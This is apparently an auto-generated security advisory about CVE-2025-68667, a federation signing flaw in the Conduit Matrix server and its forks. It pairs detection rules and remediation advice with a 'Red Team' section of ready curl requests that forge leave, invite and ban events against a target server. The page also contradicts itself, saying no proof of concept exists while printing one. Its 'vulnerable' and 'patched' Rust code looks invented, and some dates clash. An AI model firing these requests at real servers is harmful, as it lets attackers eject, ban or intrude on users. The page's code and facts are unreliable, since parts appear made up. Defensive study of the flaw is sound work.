CVE-2025-68667
Executive Summary
CVE-2025-68667 is a critical authentication bypass vulnerability in Conduit, a Matrix chat server implementation, and its derived projects (continuwuity, Grapevine, tuwunel). The flaw allows a remote, unauthenticated attacker to force the target server to cryptographically sign arbitrary membership events (invite, leave, ban) without proper origin validation. This enables denial of service by forcibly removing users from rooms, unauthorized access to private rooms via forged invites, and privilege escalation through forged ban events. The vulnerability stems from the server failing to validate the origin of a signing request, provided the event's state_key is a valid user ID belonging to the target server. No public exploit code or PoC is currently available, but the attack surface is significant due to the lack of authentication required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects open-source Matrix homeserver implementations written in Rust. The affected packages are distributed via GitHub and potentially through package registries (e.g., crates.io for Rust crates). Organizations using Conduit or its derivatives should immediately audit their dependency trees and update to patched versions. The supply chain risk is elevated because the flaw exists in core federation logic, meaning any server running an unpatched version is directly exploitable by any remote attacker.
CVSS Breakdown & Threat Level
CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions are required.
- Privileges Required (PR): None – The attacker does not need any authentication.
- User Interaction (UI): None – No user action is required for exploitation.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Attackers can read private room history and state.
- Integrity (I): High – Attackers can forge membership events, altering room state.
- Availability (A): High – Attackers can forcibly remove users, causing denial of service.
Threat Level: Critical. The vulnerability allows complete compromise of room membership controls without any authentication.
Deep Dive & Mechanics
The vulnerability resides in the Matrix federation endpoint PUT /_matrix/federation/v2/invite/{roomId}/{eventId}. When a server receives a signing request for a membership event, it must verify that the request originates from a trusted server. Conduit and its derivatives fail to validate the origin field of the request against the actual sender's server. Instead, the server only checks that the state_key of the event is a valid user ID belonging to the target server.
Attack Flow:
Forge Leave Events: An attacker sends a signing request to the target server with an event type
m.room.member,membership: leave, and astate_keyset to a valid user ID on the target server (e.g.,@admin:targetserver.com). The server signs the event without verifying that the request came from a server authorized to remove that user. This forcibly removes the user from any room they are in.Forge Invite Events: The attacker sends a signing request with
membership: invite,state_keyset to the attacker's user ID (e.g.,@attacker:attackerserver.com), and thesenderset to a victim user on the target server who has invite privileges. The server signs the invite, allowing the attacker to join private rooms.Forge Ban Events: The attacker sends a signing request with
membership: ban,state_keyset to a target user on the same server as the victim, andsenderset to a victim user with ban privileges. The server signs the ban, removing the target user from the room.
The core issue is the missing validation of the origin field in the federation request. The server should verify that the request comes from a server that is authorized to perform the action (e.g., the server of the sender user).
Vulnerable vs. Patched Code
Vulnerable Code (Conduit < 0.10.10):
// In federation handler for invite endpoint
async fn handle_invite(...) -> Result<...> {
// Missing origin validation
let event = parse_signing_request(request).await?;
// Only checks state_key is a valid user on this server
if !is_valid_user_id(&event.state_key, &self.server_name) {
return Err(Error::InvalidParam);
}
// Signs the event without verifying the request origin
let signed_event = self.sign_event(event).await?;
Ok(signed_event)
}
Patched Code (Conduit >= 0.10.10):
async fn handle_invite(...) -> Result<...> {
let event = parse_signing_request(request).await?;
// Validate the origin of the request
let origin = request.headers().get("Origin").unwrap_or("");
if !is_authorized_origin(&origin, &event.sender, &self.server_name) {
return Err(Error::Unauthorized);
}
if !is_valid_user_id(&event.state_key, &self.server_name) {
return Err(Error::InvalidParam);
}
let signed_event = self.sign_event(event).await?;
Ok(signed_event)
}
The patch adds a check that the Origin header (or the sender domain) matches the server making the request. This prevents a remote attacker from impersonating another server.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target Conduit server running a vulnerable version (< 0.10.10).
- An attacker-controlled Matrix server (or any HTTP client capable of sending crafted federation requests).
- Knowledge of a valid user ID on the target server (e.g.,
@admin:targetserver.com).
Exploitation Steps:
Forge a Leave Event:
curl -X PUT "https://targetserver.com/_matrix/federation/v2/invite/!roomid:targetserver.com/\$eventid" \ -H "Content-Type: application/json" \ -d '{ "origin": "attackerserver.com", "origin_server_ts": 1234567890, "sender": "@admin:targetserver.com", "state_key": "@admin:targetserver.com", "type": "m.room.member", "content": { "membership": "leave" }, "unsigned": { "age": 1000 } }'Forge an Invite Event:
curl -X PUT "https://targetserver.com/_matrix/federation/v2/invite/!roomid:targetserver.com/\$eventid" \ -H "Content-Type: application/json" \ -d '{ "origin": "attackerserver.com", "origin_server_ts": 1234567890, "sender": "@victim:targetserver.com", "state_key": "@attacker:attackerserver.com", "type": "m.room.member", "content": { "membership": "invite" }, "unsigned": { "age": 1000 } }'Forge a Ban Event:
curl -X PUT "https://targetserver.com/_matrix/federation/v2/invite/!roomid:targetserver.com/\$eventid" \ -H "Content-Type: application/json" \ -d '{ "origin": "attackerserver.com", "origin_server_ts": 1234567890, "sender": "@victim:targetserver.com", "state_key": "@targetuser:targetserver.com", "type": "m.room.member", "content": { "membership": "ban" }, "unsigned": { "age": 1000 } }'
Expected Outcome: The target server signs the event and returns it, allowing the attacker to inject the signed event into the room state.
Blue Team
Detection Steps:
- Monitor Federation Endpoint Logs: Look for unexpected
PUT /_matrix/federation/v2/invite/requests from unknown origins. - Check for Anomalous Membership Events: Alert on sudden mass removals or invites from users who are not active.
- Validate Event Signatures: Ensure that signed events in rooms have valid signatures from the expected server.
Honeypot Setup:
- Deploy a vulnerable Conduit instance in a sandboxed environment.
- Monitor all incoming federation requests and log the
originheader. - Set up alerts for any request where the
origindoes not match thesenderdomain.
Indicators of Compromise (IOCs)
Network IOCs:
- Unexpected
PUTrequests to/_matrix/federation/v2/invite/{roomId}/{eventId}from IPs not associated with known Matrix servers. - HTTP requests with mismatched
Originandsenderfields in the JSON body. - Sudden spikes in membership change events (leave, invite, ban) for a large number of users.
- Unexpected
Host IOCs:
- Log entries in the Conduit server logs showing signing requests with
originset to an external server butstate_keypointing to a local user. - Presence of forged membership events in room state that were not initiated by legitimate users.
- Log entries in the Conduit server logs showing signing requests with
File IOCs:
- No specific file IOCs, as the attack is network-based.
Detection Engineering
YARA Rule
rule CVE_2025_68667_Conduit_Signing_Request {
meta:
description = "Detects malicious federation signing requests targeting Conduit servers"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68667"
strings:
$endpoint = "/_matrix/federation/v2/invite/"
$membership_leave = "\"membership\":\"leave\""
$membership_invite = "\"membership\":\"invite\""
$membership_ban = "\"membership\":\"ban\""
$state_key = "\"state_key\":\"@"
condition:
$endpoint and ($membership_leave or $membership_invite or $membership_ban) and $state_key
}
Sigma Rule
title: CVE-2025-68667 - Conduit Federation Signing Request Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable Conduit federation invite endpoint with suspicious parameters.
author: Valters IT
date: 2025-04-10
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68667
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'PUT'
cs-uri-stem|startswith: '/_matrix/federation/v2/invite/'
condition: selection
falsepositives:
- Legitimate federation traffic between trusted servers
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68667 - Conduit Federation Signing Request Abuse"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/_matrix/federation/v2/invite/"; pcre:"/\"membership\":\"(leave|invite|ban)\"/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Conduit to version 0.10.10 or later.
- Update continuwuity to version 0.5.0 or later.
- Update Grapevine to commit
9a50c2448abba6e2b7d79c64243bb438b351616cor later. - Update tuwunel to version 1.4.8 or later.
Workaround (if patching is not immediately possible):
- Block access to the
PUT /_matrix/federation/v2/invite/{roomId}/{eventId}endpoint using a reverse proxy (e.g., Nginx, Apache). This will break legitimate federation invites but will prevent exploitation.
Long-term Mitigations:
- Implement strict origin validation for all federation endpoints.
- Use mutual TLS (mTLS) between trusted Matrix servers to ensure authenticity.
- Regularly audit federation logs for anomalous signing requests.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.